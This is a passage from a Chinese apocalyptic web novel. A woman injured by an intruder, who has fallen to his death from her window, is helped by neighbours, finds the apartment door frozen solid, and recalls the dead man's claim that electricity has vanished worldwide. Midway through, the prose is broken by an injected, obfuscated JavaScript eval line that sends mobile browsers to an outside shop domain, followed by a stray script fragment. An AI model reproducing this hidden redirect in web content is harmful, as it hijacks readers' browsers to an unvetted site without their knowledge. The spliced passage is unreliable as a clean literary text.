不清楚坐了多久,可能就一闪神,房门被从外面猛烈地撞响,听起来就像一声爆炸,敲裂了一室的冰封。
司寻一哆嗦,猛地抬起眼。
那感觉就像在冰冷无声的河里飘飘忽忽,忽然一下,五感归位,身体又回到了实地,现实世界从四面八方涌向了她。
门外听起来有好几个人,七嘴八舌,十分激动地一边叫她一边撞门,大门轰隆隆地颤抖着,岌岌可危。
司寻搓了搓僵麻的腿,努力爬起来,拖沓着步子走向房门。
经过玄关的时候,感觉到脚底下稍微滑了下,差点摔倒。她心情还没平复,吓得叫了一声。
她低下去查看。
好像是……之前洗衣机冒出来的肥皂泡。
等等,那个男人最后是跌倒后把枪弄丢了吧?难道就在这里?
司寻定了定神,俯下身,用胳膊迅速在整个玄关扫了一遍,没有碰到东西。
从记忆中的轮廓看,那把枪不大,刚好一个手掌可以握住,那么,应该也就掉在柜子底下,最多顺着地砖滑到卫生间,反正她房间就这么大。
她摸到卫生间的门,关上。
大概是听见了她的声音,门外的惊呼更激烈了,她分辨出了其中有隔壁两个年轻人的声音,好像在很激动地让快点把门撞开。
“别……”司寻开口,发现自己嗓子沙哑,几乎无法流畅地说话,但还是努力地发声,“不要撞门……”窗户坏了,再给她门撞坏,先不说赔多少钱,她怕是得冻死在这个冬天。
闻言,外面的女孩大声叫起来:“啊啊啊你!你没事吧!我们以为你也死了!!”
“……”谢谢关心了。
司寻艰难地挪到门边,开了门。
几根长条形的彩色莹光棒竖在黑暗中,刺得她眯了眯眼睛。
“天哪!!”女孩的脸被光柱照亮,看起来吓得不轻,“你流血了!”
司寻有点恍惚,顺着他们的目光看向自己的左臂,袖子被血浸湿了大半。
什么时候的事?
“我,”司寻嗓子干涩,努力说,“那个杀人犯,躲在我房间里。”
“什么?!”
人群哗啦一下往后退开。
“从窗户掉下去了。”三言两语说不清,只能让他们看看。
司寻侧身,猛烈的大风从房门中灌出来,吹得所有人脸上一痛。
大家人挤人,踩着满地狼藉,走到窗边,往下看。
窗户正下方的雪地里,一大团黑色的东西滩在其中,仔细去分辨的话,依稀能看清人类的四肢。
“我去……”其他人瞠目结舌。
“我们换个房间说话,她胳膊上是刀伤,不能受冻。”
一件外套披上司寻的肩,衣服里带着的体温让她精神稍微集中。
她面前站着个披发的女生,正在低着头给她拉拉链。
不认识的人。
隔壁邻居从挎包里拿出钥匙,指了指旁边另一道门:“去我们房间吧,就在这间。”
司寻注意到隔壁那情侣二人穿得很厚,衣服上有积雪,应该是刚刚从外边回来。
其实一开始在房间里和杀人犯对峙的时候,司寻就猜到隔壁两个人应该出去了。
毕竟她这边动静不小,凭着隔壁两人热心的性格,早该第一时间冲过来敲门了,而不是等到枪响和大家一起……
大概是去了车祸的地方。他们是最先提出要下去救人的。
不过那对情侣目前好像没有聊那件事的欲望,开门都开得颤颤巍巍。
“真要命了,我们俩走开这一会就出这么大的事,早知道不去了……吓死人了……”
本以为他说的吓人的是杀人犯,谁知对方又抖抖索索地说:“楼下四辆车里到处喷满血,窗户一开还冒着热气,有人眼珠子都滚出来了,妈呀,像那种丧尸片,吓得我俩差点当场昏过去。”
众人都被这句话里的场面感震撼了一下,讨论声停了停。
司寻是被长发女生扶出来的。她觉得自己的伤势倒没什么严重的,不过也确实需要被扶一下。
她现在很不在状态,就是那种,对一切都感到不真实。
刀、枪、人命。还有……停电。
这些东西让她一阵阵的恍惚。
尤其是现在躺在她窗下的那具凶犯尸体,她每每想起来,浑身血液就倏地一凉。
她觉得自己很割裂。
和凶手搏斗的时候,她时时刻刻能感知到对方的杀意,而她也一直都在想“弄死他弄死他,他不死我死”,可是当他真的死在她面前,她却十分无措。
甚至现在才开始后知后觉地害怕他。明明他都已经死了。
不过最重要的事她不会忘。
司寻模模糊糊地强撑着,等在走廊里,确认那些邻居一个个从里面走出来后,上去亲手锁上了门。
枪在里面,不能暴露,不能丢。
在警察来之前,如果必须有谁拥有这把枪,她希望是自己。
从周围人的反应看来,似乎没有人联想到枪声,毕竟杀人犯用刀这一信息先入为主了,那把刀现在还躺在窗边一地玻璃里,没人敢碰。
而且普通人也不会想到自己身边会出现“枪”这种东西。
司寻也没有想到。
当时男人钻进床底,她很确信对方还有幺蛾子,于是几乎是带着戏谑,等在床边,看他到底会掏出个什么东西来。
她想到钱、金条、机密文件,或者什么高科技,同时又把所有能伤人的东西都猜了个遍,胡思乱想了长刀,弓箭,甚至定时炸弹。但就是没有想到枪。
直到听见男人的手碰到东西的那一声响,那声音很陌生,听着东西不大,重量却不小,挺精密的模样,好像是塑料又好像是金属。
她心里乱七八糟地一跳,下意识就换了位置,躲到床上去拉他出来。
就是这样一个直觉性的举动,救了她一命。
侥幸,真的是侥幸,她想,差点就真的死了。
今天是老天在帮她。
“……痛吗?还是……”
耳边模模糊糊传来关切的声音,同时一只手在她眼睛前面来回摆动。
司寻猛地回过神,发现自己的伤口不知不觉间已经被包扎好了,细心地消毒涂药,绑上了绷带。
她竟然发呆了这么久。
刚才给她披外套的女生坐在旁边,这时重新加了衣服,皱着眉望向她的脸:“看起来精神不好,今晚记得保持清醒,不要睡觉。你房间今天是住不了人了,愿意的话,可以去我家。”
司寻这时才想起来观察四周。
她们坐在一张双人沙发上,面前矮几上点着几只香薰蜡烛,桌上东西放得很乱,纸巾茶杯果盘平板,角落上还放着空气炸锅的抽屉,里面是一只腌过的整鸡,还是生的。
茶几中间清出了一块地方,摆着一只敞开的医疗箱,箱子里东西很齐全。
哦对,她在隔壁情侣的房间。
房间门敞开着,一群人站在玄关和门口的走廊里说话。听着人数还不少,应该是陆陆续续被惊醒了。
司寻有些迟钝地说:“好,谢谢你。”
她试着抬了抬胳膊。感觉有点肿了,一阵阵胀痛,不能做大幅度动作。
“别乱动。”女生开始收拾医疗箱,“运气好,刀口长但不深,应该是肌肉太紧绷了,所以流了很多血。”
这时,走廊里传来一阵急促的脚步声,有人冲这里叫了声:“快来帮忙,楼下大门冻住了,出不去了。”
原来大家刚刚在商量这事。
今天发生这么多严重的事故,这都快后半夜了,警察还迟迟不来,在家干等一夜太让人不安了,尤其外边追尾的车里还有不少伤员,于是大家楼里召集了几个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501820|202775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
愿意出去的住户,一起冒雪往警局跑一趟。
谁知连公寓门都没出得去。
走廊里几个人都觉得匪夷所思,念叨着“怎么可能”,抓起蜡烛和荧光棒,往楼梯口去。
司寻她们也跟了过去。
公寓一楼没有住户,是一个公共大厅,空荡荡的,摆着几张桌椅,出口是一扇双开白色大铁门,此时紧紧闭着,厚厚的霜层从门缝间爬进来,几乎覆盖住整座门。
几个人上去拧着手把撞了几下,一丝松动的迹象都没有。
“怎么可能这么快就冻住啊?”瘦高白净的男孩走过去,“我跟小桃才上来一个小时,我们那会还可以正常开关的。”
门边一个人搓了搓手,哈着白气:“该说不说,真的比前半夜冷多了啊,在楼上还没这么明显,越往下,我感觉脑子都要被冻穿了。”
他们所在的城市是在大陆的中部偏南地区,一般没有极寒天气,冬天再怎么下雪也就零下十来度,可目前体感上,绝对比往年任何一个冬天温度都要低。
大家被冻得往后退了点,远离那座冰封的铁门,商量着办法。
“咱还是别撞了,要是给门弄坏,到时候全楼温度都得往下降,要不等来电再说,应该快了吧?”
“谁家水壶里有热水的吗,把门浇热了,应该就能开了。”
“我家倒是有,但是这……一壶两壶的怕是不够吧?”
“不如在这生把火?”
“没事吧你。到时候门开不了,里面着了,直接给我们360度转着烤。”
“唉,我的烤鸡。”
“……”
司寻走到门边,抬起没受伤的右手,用了点力气,试着推了推。
手里的反作用力告诉她,冻得挺严重的,不是门锁或者门缝结冰那么简单。
一个小时速冻?
那室外的温度可能低到了一个比较夸张的地步。
停电,降温,冰冻……这些寻常会发生的事,突然集中在一个晚上同时发生了,并且毫无预兆。
这些叠加在一起,就是灾难级的事故。
其他人显然也意识到了严重性,都说先回屋保暖,一切等来电再说,反正楼里的危险已经排除。
但是外面的车祸他们确实一点管不了,如果救护车不能及时赶到的话,那些人今晚怕是凶多吉少了。
这件事让所有人的心情都变得沉重。
毕竟就发生在一墙之隔的街道上,但他们却无能为力,只能眼睁睁等候生命流逝。
甚至他们自己的指望也全在【来电】这件事上了,如果没有电,公寓里的这些住户也会面临低温危险,能不能活下去都是个问题。
不过对于这件事,大家还算乐观。
以往从没有出现停电超过两天的情况,所以最多挨到明天白天,就能有电了。
……吗?
猝不及防间,司寻想到不久之前杀人犯交易给她的那个“秘密”。
“电,消失了。”
司寻喃喃出声。
那个杀人犯的脸又一次出现在她脑海中:
“是的,全世界范围内,电子还在,磁场也还在,但就是,不发生作用了。”他在黑暗中竖起一根手指,
“第一,不要去琢磨这句话,你琢磨不出结果,任何人都不行。
第二,不要盲目扩散这个消息,不然将瞬间引起巨大的社会冲突,你也不想引火烧身吧。
第三,电力恢复时间大概需要两年,这两年你要做的是好好待在家里,像野生动物一样保护自己的领地和资源,努力活下去,等文明回归。”
司寻感到心脏被冻得发疼。
如果真如那个杀人犯所说,电完全消失了。
那停电那一个瞬间,医院、工厂、电梯、汽车、火车,包括天上的飞机,全都,
啪
掉下来。